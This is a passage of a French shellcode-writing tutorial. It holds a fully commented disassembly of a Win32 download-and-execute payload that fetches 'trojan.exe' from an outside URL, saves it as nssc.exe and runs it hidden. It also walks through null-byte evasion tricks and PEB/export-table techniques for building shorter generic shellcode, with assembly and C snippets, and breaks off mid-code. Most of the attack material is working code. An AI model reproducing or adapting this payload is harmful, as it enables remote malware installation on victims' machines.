0x0012FF59 2f3a7074 7777772f 6568632e 6f632e7a tp://www.chez.co
0x0012FF69 766d2f6d 72742f6d 6e616a6f 6578652e m/mvm/trojan.exe
0x0012FF79 6c000108 c00012fc e30012ff 01004010 ...l.........@..
*******************************************************************/
/*
* cette partie ce charge de formater l'API_TABLE en placant les caractères
de terminaison
* /
0012FC70 FC cld
0012FC71 8BF7 mov esi,edi
0012FC73 803F08 cmp byte ptr [edi],8 // 08h = caractere de separation choisi
// pour eviter les null bytes
0012FC76 7503 jne 0012FC7B // si edi = caractere de terminaison
0012FC78 803708 xor byte ptr [edi],8 // le changer en 0x00
0012FC7B 47 inc edi // incremente edi
0012FC7C 803F01 cmp byte ptr [edi],1 // 01h = caractere de fin de l'API_TABLE
0012FC7F 75F2 jne 0012FC73 // loop until edi != 0x01
/* end of function */
0012FC81 8BE6 mov esp,esi // remet le stack au haut de l'API_TABLE
0012FC83 33D2 xor edx,edx // technique anti null bytes
0012FC85 B204 mov dl,4 // permettant de faire un
0012FC87 C1E208 shl edx,8 //
0012FC8A 2BE2 sub esp,edx // sub esp, 400
0012FC8C 8BEC mov ebp,esp // met le pointeur de base a niveau
0012FC8E 33D2 xor edx,edx // encore
0012FC90 B203 mov dl,3 // une technique anti null bytes
0012FC92 C1E208 shl edx,8 // permettant de faire un
0012FC95 2BE2 sub esp,edx // sub esp, 300
0012FC97 54 push esp
0012FC98 5A pop edx
0012FC99 B27C mov dl,7Ch
0012FC9B 8BE2 mov esp,edx // en bref : sub esp, 0x0D
0012FC9D EB02 jmp 0012FCA1 // bypass 1er palier du far jump
0012FC9F EB57 jmp 0012FCF8 // (far jump end_of_code)
// premier palier anti null bytes
0012FCA1 8975FC mov dword ptr [ebp-4],esi // place (char *)GetModuleHandleA
// sur le stack
0012FCA4 33C0 xor eax,eax // technique anti null bytes
0012FCA6 B440 mov ah,40h // permettant de faire un
0012FCA8 C1E008 shl eax,8 //
0012FCAB 8945F8 mov dword ptr [ebp-8],eax // mov dword ptr [ebp-8], 0x400000
0012FCAE 8B403C mov eax,dword ptr [eax+3Ch] // eax = IMAGE_DOS_HEADER->e_lfanew
0012FCB1 0345F8 add eax,dword ptr [ebp-8] // eax = PIMAGE_NT_HEADERS
0012FCB4 8D407E lea eax,[eax+7Eh] // eax = PIMAGE_NT_HEADERS->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]->VirtualAddress
0012FCB7 8B4002 mov eax,dword ptr [eax+2] // eax = PIMAGE_IMPORT_DIRECTORY
0012FCBA 0345F8 add eax,dword ptr [ebp-8] // eax = base + impdir->AddressOfFunctions
0012FCBD 8BF8 mov edi,eax
search :
0012FCBF 8B7F0C mov edi,dword ptr [edi+0Ch] // edi = RVA vers le nom du fichier
0012FCC2 037DF8 add edi,dword ptr [ebp-8] // = base + RVAFileName
/***************************
>dd edi
0x00404708 4e52454b 32334c45 6c6c642e 00000000 KERNEL32.dll....
****************************/
0012FCC5 813F4B45524E cmp dword ptr [edi],4E52454Bh
0012FCCB 7407 je 0012FCD4 // if (!strcmp (edi,KERNEL32.dll)) goto suite;
0012FCCD 83C014 add eax,14h
0012FCD0 8BF8 mov edi,eax
0012FCD2 EBEB jmp 0012FCBF // loop until *edi = KERNEL32
suite:
0012FCD4 50 push eax // push impdir->AdressOfFunction
0012FCD5 8BF8 mov edi,eax
0012FCD7 33C9 xor ecx,ecx // initialisation a 0
0012FCD9 33C0 xor eax,eax // initialisation a 0
0012FCDB B110 mov cl,10h // rechercher sur les 16 première RVA
0012FCDD 8B17 mov edx,dword ptr [edi] // edx = RVA
0012FCDF 0355F8 add edx,dword ptr [ebp-8] // edx = base+RVA
0012FCE2 52 push edx // sauve l'adresse
0012FCE3 EB03 jmp 0012FCE8 // jmp FindFirst
FindNext :
0012FCE5 57 push edi // sauvegarde edi
0012FCE6 8BD7 mov edx,edi
FindFirst :
0012FCE8 807A0380 cmp byte ptr [edx+3],80h
0012FCEC 7416 je 0012FD04
0012FCEE 8B32 mov esi,dword ptr [edx]
0012FCF0 0375F8 add esi,dword ptr [ebp-8]
0012FCF3 83C602 add esi,2 // esi = (char *) API_NAME
0012FCF6 EB02 jmp 0012FCFA // bypass 2eme palier far jump
0012FCF8 EB7E jmp 0012FD78 // (far jump end_of_code)
// deuxieme palier anti null bytes
0012FCFA 8B7DFC mov edi,dword ptr [ebp-4] // EDI = GetModuleHandleA
0012FCFD 51 push ecx // ecx = 0x10
0012FCFE F3A6 repe cmps byte ptr [esi],byte ptr [edi] //a = memcmp (edi,API_NAME,0x10)
0012FD00 59 pop ecx // restore ecx
0012FD01 5F pop edi // restore edi
0012FD02 7406 je 0012FD0A // if !a goto next1
0012FD04 40 inc eax
0012FD05 83C704 add edi,4 // avance le pointeur
0012FD08 EBDB jmp 0012FCE5 // FindNext
/ * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * -
Une fois arrivé à ce point, nous découvrons pourquoi le shellcode a provoqué un crash
lors de notre premier essai.
Comme vous pouvez le constater, une recherche de l'adresse de GetModuleHandleA() est effectuée
à travers l'Importe Table du processus en cours.
Le problème et que l'exe que nous venons de compiler n'utilise pas cette API, ce qui
va entrainer une comparaison mémoire placée en dehors de l'espace d'adressage de
notre processus, et ainsi provoquer une erreur de violation d'accès au niveau de la
lecture d'une zone interdite.
La solution permettant de palier au problème et de continuer l'analyse est donc :
====================================== raise.c ==============================================
#include
void main () {
char scode[] = "..." // le shellcode
void (*shellcode) () = (void * ) scode;
GetModuleHandle ("KERNEL32"); // Utilisation de GetModuleHandle()
shellcode ();
}
======================================== EOF ==================================================
ok, c'est repartie.
* - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - /
next1 :
0012FD0A 5F pop edi // restore edi
0012FD0B 8B7F10 mov edi,dword ptr [edi+10h]
0012FD0E 037DF8 add edi,dword ptr [ebp-8]
0012FD11 C1E002 shl eax,2
0012FD14 03F8 add edi,eax
0012FD16 8B07 mov eax,dword ptr [edi] // eax = &GetModuleHandle()
0012FD18 8B5DFC mov ebx,dword ptr [ebp-4] // ebx = *API_TABLE
0012FD1B 8D5B11 lea ebx,[ebx+11h] // ebx = LPTSTR "Kernel32.dll"
0012FD1E 53 push ebx
0012FD1F FFD0 call eax // GetModuleHandle ("KERNEL32.DLL");
0012FD21 8945F4 mov dword ptr [ebp-0Ch],eax // sauvegarde Kernel32.ImageBase
0012FD24 8B403C mov eax,dword ptr [eax+3Ch] // eax = IMAGE_DOS_HEADER->e_lfanew
0012FD27 0345F4 add eax,dword ptr [ebp-0Ch] // eax = PIMAGE_NT_HEADERS
0012FD2A 8B7078 mov esi,dword ptr [eax+78h] // esi = PIMAGE_NT_HEADERS->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddress
0012FD2D 0375F4 add esi,dword ptr [ebp-0Ch] // esi = PIMAGE_EXPORT_DIRECTORY
0012FD30 8D761C lea esi,[esi+1Ch] // esi = base + expdir->AddressOfFunctions
0012FD33 AD lods dword ptr [esi]
0012FD34 0345F4 add eax,dword ptr [ebp-0Ch]
0012FD37 8945F0 mov dword ptr [ebp-10h],eax
0012FD3A AD lods dword ptr [esi]
0012FD3B 0345F4 add eax,dword ptr [ebp-0Ch]
0012FD3E 8945EC mov dword ptr [ebp-14h],eax
0012FD41 AD lods dword ptr [esi]
0012FD42 0345F4 add eax,dword ptr [ebp-0Ch]
0012FD45 8945E8 mov dword ptr [ebp-18h],eax
0012FD48 8B55EC mov edx,dword ptr [ebp-14h] // edx = base + expdir->AddressOfNames
0012FD4B 8B75FC mov esi,dword ptr [ebp-4]
0012FD4E 8D761E lea esi,[esi+1Eh] // esi = LPTSTR "GetProcAddress"
0012FD51 33DB xor ebx,ebx // indice = 0;
0012FD53 33C9 xor ecx,ecx
0012FD55 B10F mov cl,0Fh // strlen ("GetProcAddress")
Loop :
0012FD57 8B3A mov edi,dword ptr [edx] // edi = base + expdir->AddressOfNames
0012FD59 037DF4 add edi,dword ptr [ebp-0Ch] // edi = *NameOfFunction
0012FD5C 56 push esi
0012FD5D 51 push ecx
0012FD5E F3A6 repe cmps byte ptr [esi],byte ptr [edi] // strcmp (edi,"GetProcAddess");
0012FD60 59 pop ecx
0012FD61 5E pop esi
0012FD62 7406 je 0012FD6A // jmp if Api_Name_Found
0012FD64 43 inc ebx // indice++
0012FD65 8D5204 lea edx,[edx+4] // Passe au nom suivant
0012FD68 EBED jmp 0012FD57 // Loop until
Api_Name_Found
Api_Name_Found :
0012FD6A D1E3 shl ebx,1
0012FD6C 8B75E8 mov esi,dword ptr [ebp-18h]
0012FD6F 03F3 add esi,ebx
0012FD71 33C9 xor ecx,ecx
0012FD73 668B0E mov cx,word ptr [esi] // ecx = ordinal
0012FD76 EB02 jmp 0012FD7A // bypass 3eme palier far jump
0012FD78 EB7D jmp 0012FDF7 // (far jump end_of_code)
// troisieme palier anti null bytes
0012FD7A C1E102 shl ecx,2
0012FD7D 034DF0 add ecx,dword ptr [ebp-10h]
0012FD80 8B09 mov ecx,dword ptr [ecx]
0012FD82 034DF4 add ecx,dword ptr [ebp-0Ch]
0012FD85 894DE4 mov dword ptr [ebp-1Ch],ecx
0012FD88 8B5DFC mov ebx,dword ptr [ebp-4]
0012FD8B 8D5B2D lea ebx,[ebx+2Dh] // ebx = LPTSTR
LoadLibraryA
0012FD8E 33C9 xor ecx,ecx
0012FD90 B107 mov cl,7 // 7 noms d'API à retrouver
leur adresses
0012FD92 8D7DE0 lea edi,[ebp-20h]
Make_kernel32_API_jmp_TABLE :
=-=-=-=-=-=-=-=-=-=-=-=
0012FD95 53 push ebx
0012FD96 51 push ecx
0012FD97 53 push ebx // LPCSTR lpProcName = ptr
0012FD98 8B55F4 mov edx,dword ptr [ebp-0Ch] // edx = kernel32.imagebase
0012FD9B 52 push edx // HMODULE hModule = kernel32
0012FD9C 8B45E4 mov eax,dword ptr [ebp-1Ch]
0012FD9F FC cld
0012FDA0 FFD0 call eax // GetProcAddress ((HMODULE)Kernel32,ptr)
0012FDA2 59 pop ecx
0012FDA3 5B pop ebx
0012FDA4 FD std
0012FDA5 AB stos dword ptr [edi] // place LPTSTE ptr dans la jmp table
0012FDA6 8D6424F8 lea esp,[esp-8]
loop2 : // avance le poiteur sur le prochain nom d'API a chercher
0012FDAA 382B cmp byte ptr [ebx],ch // verifie la presence d'un 00
0012FDAC 7403 je 0012FDB1 // if ptr[0] == '/0' goto next
0012FDAE 43 inc ebx // else ebx++
0012FDAF EBF9 jmp 0012FDAA // loop2
next :
0012FDB1 43 inc ebx // ptr++
0012FDB2 E2E1 loop 0012FD95 // while (ecx) goto Make_kernel32_API_jmp_TABLE
=-=-=-=-=-=-=-=-=-=-=-=
Make_wininet_API_jmp_TABLE :
=-=-=-=-=-=-=-=-=-=-=-=
0012FDB4 8B45E0 mov eax,dword ptr [ebp-20h] // eax = & LoadLibraryA()
0012FDB7 53 push ebx // ebx = LPTSTR "wininet.dll"
0012FDB8 FC cld
0012FDB9 FFD0 call eax // LoadLibraryA ("wininet.dll")
0012FDBB FD std
0012FDBC AB stos dword ptr [edi] // sauve (HMODULE) "wininet.dll"
0012FDBD 33C9 xor ecx,ecx
0012FDBF B104 mov cl,4 // 4 nom d'API a rechercher
0012FDC1 8D5B0C lea ebx,[ebx+0Ch] // ebx = APINAME
0012FDC4 FC cld
0012FDC5 53 push ebx
0012FDC6 51 push ecx
0012FDC7 53 push ebx
0012FDC8 8B55C4 mov edx,dword ptr [ebp-3Ch] // edx = wininet.imagebase
0012FDCB 52 push edx
0012FDCC 8B45E4 mov eax,dword ptr [ebp-1Ch] // eax = & GetProcAddress()
0012FDCF FFD0 call eax // GetProcAddress (wininet,APINAME);
0012FDD1 59 pop ecx
0012FDD2 5B pop ebx
0012FDD3 FD std
0012FDD4 AB stos dword ptr [edi] // sauve l'adresse de l'API
loop3 : // avance le poiteur sur le prochain nom d'API a chercher
0012FDD5 382B cmp byte ptr [ebx],ch // verifie la presence d'un 00
0012FDD7 7403 je 0012FDDC // if ptr[0] == '/0' goto next3
0012FDD9 43 inc ebx // else ebx++
0012FDDA EBF9 jmp 0012FDD5 // loop3
next3 :
0012FDDC 43 inc ebx // ptr++
0012FDDD E2E5 loop 0012FDC4 // while (ecx) goto Make_wininet_API_jmp_TABLE
=-=-=-=-=-=-=-=-=-=-=-=
0012FDDF FC cld
0012FDE0 33D2 xor edx,edx
0012FDE2 B61F mov dh,1Fh // technique anti null bytes
0012FDE4 C1E208 shl edx,8 // mov edx,001f0000h
0012FDE7 52 push edx
0012FDE8 33D2 xor edx,edx
0012FDEA 52 push edx // push 0
0012FDEB 8B45D4 mov eax,dword ptr [ebp-2Ch]
0012FDEE FFD0 call eax // GlobalAlloc (NULL, 0x1f0000)
0012FDF0 8945B0 mov dword ptr [ebp-50h],eax // sauvegarde le pointeur
0012FDF3 33D2 xor edx,edx // reinitialise edx à 0
0012FDF5 EB02 jmp 0012FDF9 // bypass 4eme palier far jump
0012FDF7 EB77 jmp 0012FE70 // (far jump end_of_code)
// quatrieme palier anti null bytes
0012FDF9 52 push edx // 0
0012FDFA 52 push edx // 0
0012FDFB 52 push edx // 0
0012FDFC 52 push edx // 0
0012FDFD 53 push ebx
/*************************************
>dd ebx
0x0012FF4B 6e00534e 2e637373 00657865 70747468 NS.nssc.exe.http
0x0012FF5B 772f2f3a 632e7777 2e7a6568 2f6d6f63 ://www.chez.com/
0x0012FF6B 2f6d766d 6a6f7274 652e6e61 01006578 mvm/trojan.exe..
*************************************/
0012FDFE 8B45C0 mov eax,dword ptr [ebp-40h]
0012FE01 FFD0 call eax // Sess = InternetOpenA (NS,0,0,0,0)
0012FE03 8D5B03 lea ebx,[ebx+3] ebx = LPTSTR "nssc.exe"
0012FE06 8945AC mov dword ptr [ebp-54h],eax // sauve le handle d'ouverture
0012FE09 33D2 xor edx,edx
0012FE0B 52 push edx // DWORD dwContext = NULL
0012FE0C B680 mov dh,80h // technique anti null byte
0012FE0E C1E210 shl edx,10h // mov edx, 80000000
0012FE11 52 push edx // DWORD dwFlags = INTERNET_FLAG_RELOAD
0012FE12 33D2 xor edx,edx
0012FE14 52 push edx // DWORD dwHeadersLength = 0
0012FE15 52 push edx // LPCSTR lpszHeaders = NULL
0012FE16 8D7B09 lea edi,[ebx+9]
0012FE19 57 push edi // LPCSTR lpszUrl = URL
0012FE1A 50 push eax // HINTERNET hInternetSession = Sess
0012FE1B 8B45BC mov eax,dword ptr [ebp-44h]
// session = InternetOpenUrlA (hInternetSession, &lpszUrl, NULL, INTERNET_FLAG_RELOAD,0)
0012FE1E FFD0 call eax
0012FE20 8945A8 mov dword ptr [ebp-58h],eax
0012FE23 8D55A0 lea edx,[ebp-60h]
0012FE26 52 push edx // LPDWORD lpNumberOfBytesRead
0012FE27 33D2 xor edx,edx
0012FE29 B61F mov dh,1Fh // technique anti NB
0012FE2B C1E208 shl edx,8 // edx = 1F0000
0012FE2E 52 push edx // DWORD dwNumberOfBytesToRead = 2031616
0012FE2F 8B4DB0 mov ecx,dword ptr [ebp-50h]
0012FE32 51 push ecx // LPVOID lpBuffer
0012FE33 50 push eax // HINTERNET hFile = session
0012FE34 8B45B8 mov eax,dword ptr [ebp-48h]
// InternetReadFile(session,lpBuffer,2031616,&lpNumberOfBytesRead)
0012FE37 FFD0 call eax
0012FE39 8B4DA8 mov ecx,dword ptr [ebp-58h]
0012FE3C 51 push ecx
0012FE3D 8B45B4 mov eax,dword ptr [ebp-4Ch]
0012FE40 FFD0 call eax // InternetCloseHandle (Sess)
0012FE42 8B4DAC mov ecx,dword ptr [ebp-54h]
0012FE45 51 push ecx
0012FE46 8B45B4 mov eax,dword ptr [ebp-4Ch]
0012FE49 FFD0 call eax // InternetCloseHandle (session)
0012FE4B 33D2 xor edx,edx
0012FE4D 52 push edx // int iAttribute = 0 (normal)
0012FE4E 53 push ebx // LPCSTR lpPathName = "nssc.exe"
0012FE4F 8B45DC mov eax,dword ptr [ebp-24h]
0012FE52 FFD0 call eax // hfile = _lcreat ("nssc.exe",0)
0012FE54 8945A4 mov dword ptr [ebp-5Ch],eax // sauve hfile
0012FE57 8B7DA0 mov edi,dword ptr [ebp-60h]
0012FE5A 57 push edi // long lBytes = lpNumberOfBytesRead
0012FE5B 8B55B0 mov edx,dword ptr [ebp-50h]
0012FE5E 52 push edx // LPCSTR lpBuffer
0012FE5F 50 push eax // HFILE hFile = hfile
0012FE60 8B45D8 mov eax,dword ptr [ebp-28h]
0012FE63 FFD0 call eax // _hwrite (hfile,lpBuffer,lpNumberOfBytesRead)
0012FE65 8B55A4 mov edx,dword ptr [ebp-5Ch]
0012FE68 52 push edx
0012FE69 8B45D0 mov eax,dword ptr [ebp-30h]
0012FE6C FFD0 call eax // _lclose (hfile)
0012FE6E EB02 jmp 0012FE72 // bypass 5eme palier far jump
0012FE70 EB12 jmp 0012FE84 // (far jump end_of_code)
// cinquieme palier anti null bytes
0012FE72 33D2 xor edx,edx
0012FE74 90 nop
0012FE75 52 push edx // 0 = SW_HIDE
0012FE76 53 push ebx // LPCSTR lpszCmdLine = "nssc.exe"
0012FE77 8B45CC mov eax,dword ptr [ebp-34h]
0012FE7A FFD0 call eax // WinExec ("nssc.exe",SW_HIDE)
0012FE7C 33D2 xor edx,edx
0012FE7E 52 push edx // 0
0012FE7F 8B45C8 mov eax,dword ptr [ebp-38h]
0012FE82 FFD0 call eax // ExitProcess (0)
end_of_code:
0012FE84 E8E6FDFFFF call 0012FC6F // ce call permet de pusher l'offset de fin de shellcode afin
// de connaitre l'adresse ou son placer les chaines de caracteres.
++
Voila, maintenant que nous avons plus de détails, nous pouvons en faire quelques petits commentaires :
- Toute la base de ce shellcode générique est situé sur la présence de GetModuleHandle() dans
l'IT du processus à exploiter, si cette API n'est pas utilisée, l'attaque se retrouve compromise.
- le stockage des noms d'API complet est toujours en vigueur, ce qui constitue le talon
d'achille principale d'une optimisation de shellcode win32.
- deux fonctions sont utilisées pour créer les jump table, ce qui n'est pas très élégant
- Raise utilise la lib wininet pour aller downloader son trojan, il aurait peut etre été
préférable d'utiliser urlmon
bref, ce shellcode est bien mieux fait que celui de zan, mais la taille est toujours un défaut majeur !
(800 Bytes nom dou diou !)
/*************************************************************************************
IV. NOTRE APPROCHE SUR LA QUESTION
*************************************************************************************/
///
4.A L'ABBOLITION DE L'ADRESSE DE BASE, GRACE AU 'PROCESS ENVIRONMENT BLOCK'
///
Comme vous avez put le voir, le problème majeur lorsque l'on crée un shellcode win32 est
d'arriver a retrouver les adresses de LoadLibraryA et GetProcAdress d'une façon optimisée,
élégante, et surtout générique.
Si vous avez déjà engagé quelques recherches personnelles sur le sujet, vous remarquerez
sans doute que la technique que nous allons évoquer a dejà été exposée dans quelques sites et
articles de très bon niveau, (cf: Last Stage Delirium) mais celle ci n'a jamais été clairement
exploitée / commentée ou demontrée.
ok, let's do it...
Quand le loader de windows charge un binaire en mémoire, celui ci conserve une trace
des librairies utilisées par le process dans une structure appelée le PEB dont voici
le prototype :
// Process Environment Block
typedef struct _PEB {
/*000*/ BOOLEAN InheritedAddressSpace;
/*001*/ BOOLEAN ReadImageFileExecOptions;
/*002*/ BOOLEAN BeingDebugged;
/*003*/ BOOL SpareBool; // alloc size
/*004*/ HANDLE Mutant;
/*008*/ PVOID SectionBaseAddress;
/*00C*/ PPROCESS_MODULE_INFO ProcessModuleInfo;
/*010*/ PPROCESS_PARAMETERS ProcessParameters;
/*...*/ .... plein d'autres truc ici .... :)
/*1E8*/ } PEB, *PPEB;
Cette structure est définie pour chaque processus a l'adresse 0x7FFDF000 mais peut être
retrouver dynamiquement en récuperant le pointeur situé a FS:[0x30]; celle ci contient des
informations sur l'environnement d'exécution en cours, ce qui dans notre cas s'avère très
intéressant, car la sous structure PROCESS_MODULE_INFO contient une liste de toutes les
librairies utilisées.
typedef struct _PROCESS_MODULE_INFO {
/*000*/ DWORD Size;
/*004*/ DWORD Initalized;
/*008*/ HANDLE SsHandle;
/*00C*/ LIST_ENTRY ModuleListLoadOrder;
/*014*/ LIST_ENTRY ModuleListMemoryOrder;
/*018*/ LIST_ENTRY ModuleListInitOrder;
/*020*/ } PROCESS_MODULE_INFO, *PPROCESS_MODULE_INFO;
Une fois en possession de ces informations, le plan d'attaque devient facilement imaginable.
Il suffit de pointer sur le PEB et d'aller ensuite dans ProcessModuleInfo ou l'on
voit trois double liste chainées:
* ModuleListLoadOrder
* ModuleListMemoryOrder
* ModuleListInitOrder
Ces listes chainées contiennent des éléments MODULE_ITEM dont le type est defini
ci dessous :
typedef struct _MODULE_ITEM {
/*000*/ LIST_ENTRY ModuleListLoadOrder;
/*008*/ LIST_ENTRY ModuleListMemoryOrder;
/*010*/ LIST_ENTRY ModuleListInitOrder;
/*018*/ DWORD ImageBase;
/*01C*/ DWORD EntryPoint;
/*020*/ DWORD ImageSize;
/*024*/ UNICODE_STRING PathFileName;
/*02C*/ UNICODE_STRING FileName;
/*034*/ ULONG ModuleFlags;
/*038*/ WORD LoadCount;
/*03A*/ WORD Fill;
/*03C*/ DWORD dw3c;
/*040*/ DWORD dw40;
/*044*/ DWORD TimeDateStamp;
/*048*/ } MODULE_ITEM, *PMODULE_ITEM;
et sont triés en fonction de l'ordre de chargement, de l'adresse mémoire et de
l'initialisation.
Donc pour lister les DLL utilisées par un processus, il suffit de lire
une de ces 3 listes chainées, sachant que si on lit ModuleListMemoryOrder ou
ModuleListInitOrder, il faut réajuster le pointeur vers le début de la structure.
du style :
* ModuleListLoadOrder:
for (Module = (PMODULE_ITEM) ModuleInfo->ModuleListLoadOrder.Flink;
Module->ModuleListLoadOrder.Flink != &ModuleInfo->ModuleListLoadOrder;
Module = (PMODULE_ITEM) Module->ModuleListLoadOrder.Flink)
* ModuleListMemoryOrder:
for (Module = (PMODULE_ITEM)
(((DWORD)ModuleInfo->ModuleListMemoryOrder.Flink) - 0x8);
Module->ModuleListMemoryOrder.Flink !=
&ModuleInfo->ModuleListMemoryOrder && Module->ModuleListMemoryOrder.Flink;
Module = (PMODULE_ITEM) (((DWORD)Module->ModuleListMemoryOrder.Flink) -
0x8))
* ModuleListMemoryOrder:
pareil que pour ModuleListMemoryOrder sauf que le -0x8 devient -0x10.
mais concrètement, comment sa ce passe ?
En premier lieu, il nous faut retrouver l'adresse du PEB, puis pointer sur ProcessModuleInfo.
---------------------- SNIP ------------------------
// DWORD Peb;
PPROCESS_MODULE_INFO ModuleInfo;
PMODULE_ITEM Module;
_asm {
mov eax, fs:[0x30]
// mov [Peb], eax
mov eax, [eax+0xC]
mov [ModuleInfo], eax
}
----------------------------------------------------
A partir de la, on doit récupérer l'addresse de base de kernel32.dll
ce qui donne :
---------------------------- SNIP --------------------------------------
DWORD ImageBase;
__asm {
mov eax, dword ptr [eax+0xC] // eax = PEB->ProcessModuleInfo
mov ecx, dword ptr [eax+0xC] // ecx = &PEB->ProcessModuleInfo.ModuleListLoadOrder
mov eax, ecx // eax = &PEB->ProcessModuleInfo.ModuleListLoadOrder.Flink
search_dll_loop:
mov esi, dword ptr [eax+0x30] // byte ptr [esi] = MODULE_ITEM->FileName.Buffer[0]
cmp byte ptr [esi], 'K'
jnz search_dll_next // if (edi != 'K') goto search_kernel32_next
mov [ImageBase], dword ptr [eax+0x18] // MODULE_ITEM->FileName.ImageBase;
jmp fin
// reajuste le pointeur au debut de la structure
search_dll_next:
mov eax, dword ptr [eax] // eax = PMODULE_ITEM
cmp eax, ecx
jnz search_dll_loop // while (eax == &PEB->ProcessModuleInfo.ModuleListLoadOrder)
fin :
}
printf ("Image base of Kernel32.dll : 0x%x/n",ImageBase);
--------------------------------------------------------------------------
maintenant, il nous faut celle de la fonction LoadLibrary() ou GetProcAddress(). Pour ca on va
tout simplement se balader dans le PE (Portable Executable) de kernel32.dll.
En pseudo code C, ca donne ca:
------------------------------------- SNIP ----------------------------------------------
DWORD GetAdd(DWORD base, char *function_name) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER) base;
PIMAGE_NT_HEADERS nt;
PIMAGE_DATA_DIRECTORY datadir;
PIMAGE_EXPORT_DIRECTORY expdir;
DWORD i;
PDWORD functions, names;
PWORD ordinals;
char *curname;
nt = (PIMAGE_NT_HEADERS) base + dos->e_lfanew;
datadir = nt->OptionalHeader.DataDirectory +
IMAGE_DIRECTORY_ENTRY_EXPORT;
expdir = (PIMAGE_EXPORT_DIRECTORY) base + datadir->VirtualAddress;
functions = (PDWORD) base + expdir->AddressOfFunctions;
ordinals = (PWORD) base + expdir->AddressOfNameOrdinals;
names = (PDWORD) base + expdir->AddressOfNames;
for (i=0; iNumberOfNames; i++) {
if (!strcmp(function_name, (char *) names[i])
return(functions[ordinals[i]]);
}
return(NULL);
}
----------------------------------------------------------------------------------------------
voici en gros le principe de base.
voyons maintenant comment a partir de tout ca, mettre en place...
///
4.B) UNE RECONSTRUCTION DE LOADLIBRARYA / GETPROCADDRESS.
///
Pour arriver à un vrai resultat optimal, le fin du fin serais de trouver un moyen d'éviter
de créer une table de nom, comme dans cette exemple tiré du shellcode de RaiSe
0x0012FE89 4d746547 6c75646f 6e614865 41656c64 GetModuleHandleA
0x0012FE99 72656b08 336c656e 6c642e32 6547086c .kernel32.dll.Ge
0x0012FEA9 6f725074 64644163 73736572 616f4c08 tProcAddress.Loa
0x0012FEB9 62694c64 79726172 6c5f0841 61657263 dLibraryA._lcrea
0x0012FEC9 6c5f0874 74697277 6c470865 6c61626f t._lwrite.Global
0x0012FED9 6f6c6c41 6c5f0863 736f6c63 69570865 Alloc._lclose.Wi
0x0012FEE9 6578456e 78450863 72507469 7365636f nExec.ExitProces
0x0012FEF9 69770873 656e696e 6c642e74 6e49086c s.wininet.dll.In
0x0012FEF9 69770873 656e696e 6c642e74 6e49086c s.wininet.dll.In
0x0012FF09 6e726574 704f7465 08416e65 65746e49 ternetOpenA.Inte
0x0012FF19 74656e72 6e65704f 416c7255 746e4908 rnetOpenUrlA.Int
0x0012FF29 656e7265 61655274 6c694664 6e490865 ernetReadFile.In
0x0012FF39 6e726574 6c437465 4865736f 6c646e61 ternetCloseHandl
0x0012FF49 534e0865 73736e08 78652e63 74680865 e.NS.nssc.exe.ht
0x0012FF59 2f3a7074 7777772f 6568632e 6f632e7a tp://www.chez.co
0x0012FF69 766d2f6d 72742f6d 6e616a6f 6578652e m/mvm/trojan.exe
0x0012FF79 6c000108 c00012fc e30012ff 01004010 ...l.........@..
Ces chaines de caratères prennent une place énorme, mais sont nécessaires à LoadLibraryA
et GetProcAddress, qui rappellons le, sont les fonctions noyaux d'un shellcode win32.
Revoyons comment procède un programme pour exécuter une fonction exporter :
Tout d'abord, l'exécution de toute fonction nécessite que la portion de code qui
doit être executée soit accessible par le processus qui désire l'utiliser.
Si ce bout de code n'est pas accessible, il faut que le programme map la librairie
qui l'intéresse dans son espace d'adressage, ce qui est précisement le rôle de LoadLibraryA()
Si le code à exécuter est déjà mappé (ou y est grace à LoadLibraryA), il faut que le programme
arrive à retrouver l'adresse de la fonction qui l'intéresse, de façon à pouvoir créer un branchement
vers le code exécutable, ce qui constitue la tache de GetProcAddress()
Une fois en possession de l'adresse de la fonction à executer, et que celle si est accessible,
il peut enfin procéder à son appel par un simple call 0xaddr.
concrètement, un programme qui veut utiliser la fonction ExitWindowsEx() de user32.dll
doit agir de la sorte :
---- Pseudo code -----
.data
TABLE0 db "user32.dll",0 // 11 octets
TABLE1 db "ExitWindows",0 // 12 octets
TABLE2 db "ExitProcess",0 // 12 octets
LoadLibraryA dd 0x77E7A254 // 4 octets
GetProcAddress dd 0x77E7A254 // 4 octets
.code
mov ebp, esp
sub esp, 4
push offset TABLE0
call LoadLibraryA // LoadLibaryA ("user32.dll");
push eax // eax = HMODULE
push offet TABLE1
call GetProcAddress // GetProcAddress (HMODULE,"ExitWindows");
push 0
push 0
call eax // ExitWindows (0,0);
push dword ptr [ebp-4]
push offet TABLE12
call GetProcAddress // GetProcAddress (HMODULE,"ExitProcess");
push 0
call eax // ExitProcess (0);
------------------------
Cet exemple montre ou ce trouve le hic.
Pour loader et exécuter une seule fonction, nous avons été obligé de créer une table de 35 octets !
de plus, chaque chaine contenue dans la table doit être termineé d'un zero (null bytes) ce qui est
problématique dans la conception d'un shellcode.
une telle pratique nous force à créer encore une routine permettant de contourner le problème, ce qui
nuit gravement à notre souci d'optimisation.
-------------------------------------------
-> Interresont nous a GetProcAddress() <-
-------------------------------------------
GetProcAddress est la fonction qui demande le plus de ressources vis à vis d'une table de nom, pour
la simple et bonne raison qu'on ne charge qu'une seul fois une dll, mais qu'on doit retrouver plusieurs
adresses d'API.
De plus, cette fonction nécessite un nom complet de la fonction dont on doit retrouver l'adresse, ce
qui voudrait dire que dans le cas ou nous désirerions retrouver 'WSAAsyncGetProtoByNumber',
cela nous boufferait deja 25 octets à notre shellcode !
Une solution plus acceptable consisterait à pouvoir retrouver l'adresse d'une fonction exportée en
ne se basant que sur une petite partie de son nom.
4 octets (un dword) pour pattern me semble être tout à fait jouable.
mais attention, les API windows possèdent beaucoup de fonction qui possèdent des noms similaires.
pour pourvoir les différencier, il nous faut aussi un offset de référence !
reprenons notre exemple :
TABLE1 db "ExitWindows",0 // 12 octets
TABLE2 db "ExitProcess",0 // 12 octets
si je ne me base que sur 4 octets, le seul moyen de faire la différence entre ces 2 API est de spécifier
un dword UNIQUE, ce qui donne théoriquement
---- Pseudo code -----
.data
TABLE0 db "user32.dll",0 // 11 octets
/* TABLE1 et TABLE2 degage, ce qui nous fait gagner 26 octets */
LoadLibraryA dd 0x77E7A254 // 4 octets
.code
jmp debut
MyGetProcAdress :
[...]
debut :
mov ebp, esp
sub esp, 4
